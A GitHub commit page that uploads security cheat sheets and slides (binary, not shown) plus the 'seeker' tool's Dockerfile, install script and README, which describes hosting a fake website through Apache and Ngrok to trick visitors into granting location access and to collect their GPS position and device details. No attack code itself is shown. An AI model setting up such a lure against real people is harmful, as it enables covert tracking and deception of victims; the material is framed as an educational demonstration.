Skip to content

Commit

Permalink
Add files via upload
Browse files Browse the repository at this point in the history
  • Loading branch information
Wh0ale committed Mar 2, 2019
1 parent 3929ee4 commit 7c33b84
Show file tree
Hide file tree
Showing 46 changed files with 16,292 additions and 0 deletions.
Binary file added Fuzz大法之挖掘潜在的逻辑越权.pdf
Binary file not shown.
Binary file added GET来的漏洞 _ WooYun知识库.pdf
Binary file not shown.
Binary file added SSRF Bypass and Exploit.pptx
Binary file not shown.
Binary file added XS-Search.pptx
Binary file not shown.
Binary file added XSS-Cheat-Sheet-2019-Edition-2 翻译版本.pdf
Binary file not shown.
Binary file not shown.
Binary file added nmap_cheet_sheet_0.6_2.pdf
Binary file not shown.
46 changes: 46 additions & 0 deletions seeker-master/CODE_OF_CONDUCT.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,46 @@
# Contributor Covenant Code of Conduct

## Our Pledge

In the interest of fostering an open and welcoming environment, we as contributors and maintainers pledge to making participation in our project and our community a harassment-free experience for everyone, regardless of age, body size, disability, ethnicity, gender identity and expression, level of experience, nationality, personal appearance, race, religion, or sexual identity and orientation.

## Our Standards

Examples of behavior that contributes to creating a positive environment include:

* Using welcoming and inclusive language
* Being respectful of differing viewpoints and experiences
* Gracefully accepting constructive criticism
* Focusing on what is best for the community
* Showing empathy towards other community members

Examples of unacceptable behavior by participants include:

* The use of sexualized language or imagery and unwelcome sexual attention or advances
* Trolling, insulting/derogatory comments, and personal or political attacks
* Public or private harassment
* Publishing others' private information, such as a physical or electronic address, without explicit permission
* Other conduct which could reasonably be considered inappropriate in a professional setting

## Our Responsibilities

Project maintainers are responsible for clarifying the standards of acceptable behavior and are expected to take appropriate and fair corrective action in response to any instances of unacceptable behavior.

Project maintainers have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, or to ban temporarily or permanently any contributor for other behaviors that they deem inappropriate, threatening, offensive, or harmful.

## Scope

This Code of Conduct applies both within project spaces and in public spaces when an individual is representing the project or its community. Examples of representing a project or community include using an official project e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event. Representation of a project may be further defined and clarified by project maintainers.

## Enforcement

Instances of abusive, harassing, or otherwise unacceptable behavior may be reported by contacting the project team at lohityapushkar@gmail.com. The project team will review and investigate all complaints, and will respond in a way that it deems appropriate to the circumstances. The project team is obligated to maintain confidentiality with regard to the reporter of an incident. Further details of specific enforcement policies may be posted separately.

Project maintainers who do not follow or enforce the Code of Conduct in good faith may face temporary or permanent repercussions as determined by other members of the project's leadership.

## Attribution

This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4, available at [http://contributor-covenant.org/version/1/4][version]

[homepage]: http://contributor-covenant.org
[version]: http://contributor-covenant.org/version/1/4/
16 changes: 16 additions & 0 deletions seeker-master/Dockerfile
Original file line number Diff line number Diff line change
@@ -0,0 +1,16 @@
FROM ubuntu
WORKDIR seeker/
RUN echo "Asia/Singapore" > /etc/timezone
RUN apt-get update > install.log
RUN apt-get -y install tzdata >> install.log
RUN dpkg-reconfigure -f noninteractive tzdata >> install.log
RUN apt-get -y install python \
python-pip \
apache2 \
php >> install.log
RUN pip install requests >> install.log
ADD . /seeker
RUN cp -r template/nearyou/ /var/www/html/
RUN chmod 777 /var/www/html/nearyou/php/info.txt
RUN chmod 777 /var/www/html/nearyou/php/result.txt
CMD ["./seeker.py"]
674 changes: 674 additions & 0 deletions seeker-master/LICENSE

Large diffs are not rendered by default.

Binary file added seeker-master/Ngrok/ngrok
Binary file not shown.
103 changes: 103 additions & 0 deletions seeker-master/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,103 @@
# Seeker

## Introduction
Seeker utilizes **HTML5, Javascript, JQuery and PHP** to grab **Device Information** and **GeoLocation** with High Accuracy.

Seeker Hosts a fake website on **Apache Server** and uses **Ngrok** to generate a SSL link which asks for Location Permission and if the user allows it, we can get :

* Longitude
* Latitude
* Accuracy
* Altitude - Not always available
* Direction - Only available if user is moving
* Speed - Only available if user is moving

Along with Location Information we can also get **Device Information** without any permissions :

* Operating System
* Platform
* Number of CPU Cores
* Amount of RAM - Approximate Results
* Screen Resolution
* GPU information
* Browser Name and Version
* Public IP Address

**This tool is purely a Proof of Concept and is for Educational Purposes Only, Seeker shows what data a malicious website can gather about you and your devices and why you should not click on random links and allow critical permissions such as Location etc.**

* Other tools and services offer IP Geolocation which is not very accurate and does not give location of user.

* Generally if a user accepts location permsission, Accuracy of the information recieved is **accurate to approximately 30 meters**.

**Note** : On iPhone due to some reason location accuracy is approximately 65 meters.

## Tested On :

* Kali Linux 2018.2
* Ubuntu 18.04
* Arch Linux based Distro
* Termux
* Kali Linux (WSL)

## Installation

### Ubuntu/Kali Linux

```bash
git clone https://github.com/thewhiteh4t/seeker.git
cd seeker/
chmod 777 install.sh
./install.sh

# After Installation just type seeker in console

# OR using Docker

# Install docker

curl -fsSL https://get.docker.com -o get-docker.sh
sh get-docker.sh

# Build Seeker
cd seeker/
docker build -t seeker .

# Launch seeker
docker run -t --rm seeker
```

[![asciicast](https://asciinema.org/a/195052.png)](https://asciinema.org/a/195052)

### Arch Linux Based Distro

```bash
# Install docker

pacman -Syy
pacman -S docker
systemctl start docker.service

# Build Seeker
cd seeker/
docker build -t seeker .

# Launch seeker
docker run -t --rm seeker
```
### Termux

```bash
cd seeker/termux
chmod 777 install.sh
./install.sh

# After Installation just type seeker in console
```

> If you are unable to get ngrok url that means ngrok is unable to resolve dns, switch to Mobile Data instead of WiFi and it should work, this is a problem with ngrok.
[![asciicast](https://asciinema.org/a/195830.png)](https://asciinema.org/a/195830)

## Demo

Youtube - https://www.youtube.com/watch?v=ggUGPq4cjSM
31 changes: 31 additions & 0 deletions seeker-master/install.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,31 @@
echo '[!] Updating...'
apt-get update > install.log
echo
echo '[!] Installing Dependencies...'
echo ' Python'
apt-get -y install python &>> install.log
echo ' Apache2'
apt-get -y install apache2 &>> install.log
echo ' PHP'
apt-get -y install php &>> install.log
echo ' wget'
apt-get -y install wget &>> install.log
echo ' unzip'
apt-get -y install unzip &>> install.log
echo ' Requests'
pip install requests &>> install.log
echo
echo '[!] Copying Template to /var/www/html/'
rm -rf /var/www/html/nearyou/
cp -r template/nearyou/ /var/www/html/
echo
echo '[!] Creating seeker symlink...'
echo
ln -s $PWD/seeker.py /usr/local/bin/seeker
chmod 777 /usr/local/bin/seeker
echo
echo '[!] Setting Permissions...'
chmod 777 /var/www/html/nearyou/php/info.txt
chmod 777 /var/www/html/nearyou/php/result.txt
echo
echo '[!] Installed...Launch by Typing seeker'
Loading

0 comments on commit 7c33b84

Please sign in to comment.